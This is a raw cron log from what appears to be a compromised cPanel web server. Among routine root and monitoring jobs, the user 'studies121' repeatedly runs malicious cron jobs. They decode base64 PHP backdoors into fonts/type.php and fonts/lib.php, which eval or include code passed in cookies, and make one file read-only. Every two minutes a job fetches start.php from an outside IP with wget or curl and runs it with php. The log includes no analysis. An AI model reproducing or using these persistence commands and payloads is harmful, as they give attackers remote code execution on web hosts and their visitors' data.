Sep  3 06:22:01 ip-184-168-122-23 CROND[17100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:22:01 ip-184-168-122-23 CROND[17101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:22:01 ip-184-168-122-23 CROND[17099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:22:01 ip-184-168-122-23 CROND[17102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:23:01 ip-184-168-122-23 CROND[17211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:23:01 ip-184-168-122-23 CROND[17212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:23:01 ip-184-168-122-23 CROND[17214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:23:01 ip-184-168-122-23 CROND[17216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:24:01 ip-184-168-122-23 CROND[17303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:24:01 ip-184-168-122-23 CROND[17304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:24:01 ip-184-168-122-23 CROND[17307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:24:01 ip-184-168-122-23 CROND[17306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:24:01 ip-184-168-122-23 CROND[17308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:25:01 ip-184-168-122-23 CROND[17436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:25:01 ip-184-168-122-23 CROND[17438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:25:01 ip-184-168-122-23 CROND[17439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:25:01 ip-184-168-122-23 CROND[17441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:25:01 ip-184-168-122-23 CROND[17442]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 06:25:01 ip-184-168-122-23 CROND[17437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:25:01 ip-184-168-122-23 CROND[17440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:26:01 ip-184-168-122-23 CROND[17547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:26:01 ip-184-168-122-23 CROND[17549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:26:01 ip-184-168-122-23 CROND[17551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:26:01 ip-184-168-122-23 CROND[17550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:26:01 ip-184-168-122-23 CROND[17554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:27:01 ip-184-168-122-23 CROND[17725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:27:01 ip-184-168-122-23 CROND[17727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:27:01 ip-184-168-122-23 CROND[17729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:27:01 ip-184-168-122-23 CROND[17728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:28:01 ip-184-168-122-23 CROND[17826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:28:01 ip-184-168-122-23 CROND[17829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:28:01 ip-184-168-122-23 CROND[17828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:28:01 ip-184-168-122-23 CROND[17830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:28:01 ip-184-168-122-23 CROND[17831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:29:01 ip-184-168-122-23 CROND[17949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:29:01 ip-184-168-122-23 CROND[17951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:29:01 ip-184-168-122-23 CROND[17952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:29:01 ip-184-168-122-23 CROND[17953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:30:01 ip-184-168-122-23 CROND[18057]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:30:01 ip-184-168-122-23 CROND[18065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:30:01 ip-184-168-122-23 CROND[18066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:30:01 ip-184-168-122-23 CROND[18070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:30:01 ip-184-168-122-23 CROND[18072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:30:01 ip-184-168-122-23 CROND[18071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:30:01 ip-184-168-122-23 CROND[18074]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:30:01 ip-184-168-122-23 CROND[18073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:31:01 ip-184-168-122-23 CROND[18209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:31:01 ip-184-168-122-23 CROND[18213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:31:01 ip-184-168-122-23 CROND[18211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:31:01 ip-184-168-122-23 CROND[18212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:31:01 ip-184-168-122-23 CROND[18214]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 06:32:01 ip-184-168-122-23 CROND[18355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:32:01 ip-184-168-122-23 CROND[18356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:32:01 ip-184-168-122-23 CROND[18357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:32:01 ip-184-168-122-23 CROND[18362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:32:01 ip-184-168-122-23 CROND[18359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:33:01 ip-184-168-122-23 CROND[18540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:33:01 ip-184-168-122-23 CROND[18541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:33:01 ip-184-168-122-23 CROND[18543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:33:01 ip-184-168-122-23 CROND[18544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:34:01 ip-184-168-122-23 CROND[18661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:34:01 ip-184-168-122-23 CROND[18663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
